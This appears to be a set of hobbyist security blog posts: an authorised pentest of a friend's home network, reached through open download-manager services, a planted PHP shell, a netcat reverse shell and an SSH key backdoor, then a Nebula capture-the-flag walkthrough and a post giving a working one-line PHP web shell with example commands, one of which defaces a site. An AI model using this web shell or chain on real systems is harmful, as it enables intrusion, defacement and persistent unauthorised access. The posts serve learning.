My first pentest on a friend’s network

Someone I have know for a while was aware of my growing interest in information security and I had warned them a while ago that their network was probably vulnerable to attack because I had seen some web services that were not password protected running out of their home public IP address.

I saw them over the Christmas/new year period and they gave me permission to try and penetrate their network, specifically they challenged me to change the root password on their unRAID server.

I started off by firing up my Backtrack 5r3 VM and updating everything before registering Nessus and performing a scan of his public IP address.

Nessus didn’t find anything that was listed as critical, but it did show me that we had ssh running on port 22 and it also showed me all other ports that were open and had web servers running on them. I checked them all out and I found on various ports; the default Lion server webpage, SABNZBd, SickBeard, Transmission, and the unRAID server.

The website served by the unRAID server was asking for a username and password using basic access authentication. That was no use so I started looking into the other services. Not only were the operating interfaces unsecured, but their configuration sections were also open to anyone. I saw that SABNZBd was running as “admin” and that it had an option of running scripts when a download had completed. The method was to point SABNZBd to a folder containing scripts, start a download and then choose what script to run on completion. I knew I could download a file using SABNZBd or Transmission to any directory that the admin user had write permissions to, but I didn’t know at this stage how to make it executable.

I saw in SABNZBd’s preferences that I could specify the permissions (in octal format) of files and folders that were downloaded, so I ran SABNZBd on my machine, created a binary post on a newsgroup containing a script that was basically a reverse shell and tested a download to my machine with SABNZBd set to mark everything at 777. It created a folder with 777 permissions, but the file was only 555. Presumably this was for security reasons – damn!

At this point I was wishing that his machine was running Windows not OSX because SABNZBd on Windows only requires that a scripts file extension is in the PATHEXT environment variable. That would have been much easier than getting a file marked as executable.

I had to find another way of making an executable script on that machine. How could I get that machine to run my commands without having an executable script set… The web server or course. I created my single line PHP shell again (mentioned in a previous post) and set Transmission to download files to the Lion web server default folder, created a torrent containing my php script and downloaded the torrent to the server using transmission. I tested it, with the command whoami, and it worked. I was in, but I was only the user _www.

What could I do as _www? Not much, but I was able to create a reverse shell using netcat and take a look around the system. I couldn’t access admin’s files yet, but of course I could write to /tmp. If I could write to /tmp, I could create a script and mark it as executable by everyone. Then I could get SABNZBd to run it! I started thinking about making a script that would create a reverse shell, then it dawned on me: create a public/private key pair and add it to /Users/admin/.ssh/authorized_keys.

I uploaded my public key using my php shell script, and then created an executable script in /tmp that appended my key to authorized_keys.

I started a new SABNZBd download (I decided to just download something that was small, free and released under the CC license) so as no to upset anyone. Obviously I now set my script to run. All went well and I could now ssh into the machine as the admin user without a password.

At this point I cleaned up everything I had downloaded and just left my key in place so I could log in. I took a look around, but I couldn’t see anything to do with the unRAID server, so I thought I should report how far I had got.

They were surprised, and while I didn’t get into the unRAID server, I had gotten a lot further than they thought anyone would be able to. As a result of this, they have since enabled logins on all their web services and removed my public key, but they still do have some vulnerabilities, like ssh running on a default port and allowing password authentication (ripe for brute forcing). They are a lot safer than they were, but it may well be worth me going back and having another go at some point in the future.

A lot of the methods that I have used in this test were inspired by the challenges I have been working through in hackthissite.org and exploit-excercises.com and I’m very grateful to them for making the challenges.

I’m tempted to try and create a VM with this vulnerable setup and release it. I would have to check the licences, but I think most of it could be done using open source solutions (linux, apache, sabnzbd, transmission)

Exploit Exercises – Nebula – Level 05

Not much information to start on this one:

Check the flag05 home directory. You are looking for weak directory permissions
To do this level, log in as the level05 account with the password level05 . Files for this level can be found in /home/flag05.

The command ll (an alias for ls-alF) showed me that I had read access to ~flag05/.backup, and in there was a backup gzipped tar. Hopefully some goodies in here…

I unpacked the tar and found that it contained a folder called .ssh. This is used for secure shell authentication. That folder contained a private/public key pair and an authorized_keys file. The authorised_keys file is exactly the same as the public key file, so (assuming that the authorised_keys file had not been deleted since the backup) I should be able to ssh in using the private key, as long as it was not encrypted with a passphrase.

I copied the id_rsa file to ~/.ssh and tried to connect using:

ssh flag05@localhost

Bingo!

Single Line PHP Script to Gain Shell

A while ago, on PaulDotCom Security Weekly, I heard someone mention something about a single line php script to get shell on the web server. I knew it couldn’t be that hard as it’s only one line, but I didn’t find much about it on google when I searched, perhaps because it’s too easy, or perhaps I was using the wrong search terms. Anyway, I forgot about it for a while… until now.

Since WebApp security is what I’m most interested in at the moment, I have been learning PHP, I’m not finished learning yet, but today (while reading about how inputs should be sanitised before using “include”) I remembered the single line PHP shell, and I had a go and this is what I came up with:

<?php echo shell_exec($_GET['e']); ?>

Obviously the WebApp would have to be vulnerable in some way in order to be able to put this script on the server, but once it was, it could potentially be used to do things like dump files and deface the site.

The output is just text, not an HTML document so if using a web browser, you will want to view the source in order to see the proper result.

I used shell_exec() instead of just exec() because it returns every line instead of just the last one. An alternative is to use passthru() which will also send binary data, but to get that to work properly with binary data, you’d probably have to also set the headers which makes it more than one line.

I was able to run unix commands (windows commands should also work if the host is running windows) such as:

  • shell.php?e=whoami
  • shell.php?e=pwd
  • shell.php?e=uname%20-a (I had to URL encode the spaces otherwise my browser thought it should search using google)
  • shell.php?e=echo%20This%20site%20has%20been%20hacked%3Eindex.html
  • shell?e=ls%20-l%20/tmp

The last command even showed me some files and their owners which in turn (because I am using a shared host) told me the names of some of the other sites are that are running on the same server as mine, which was an unexpected “bonus” find.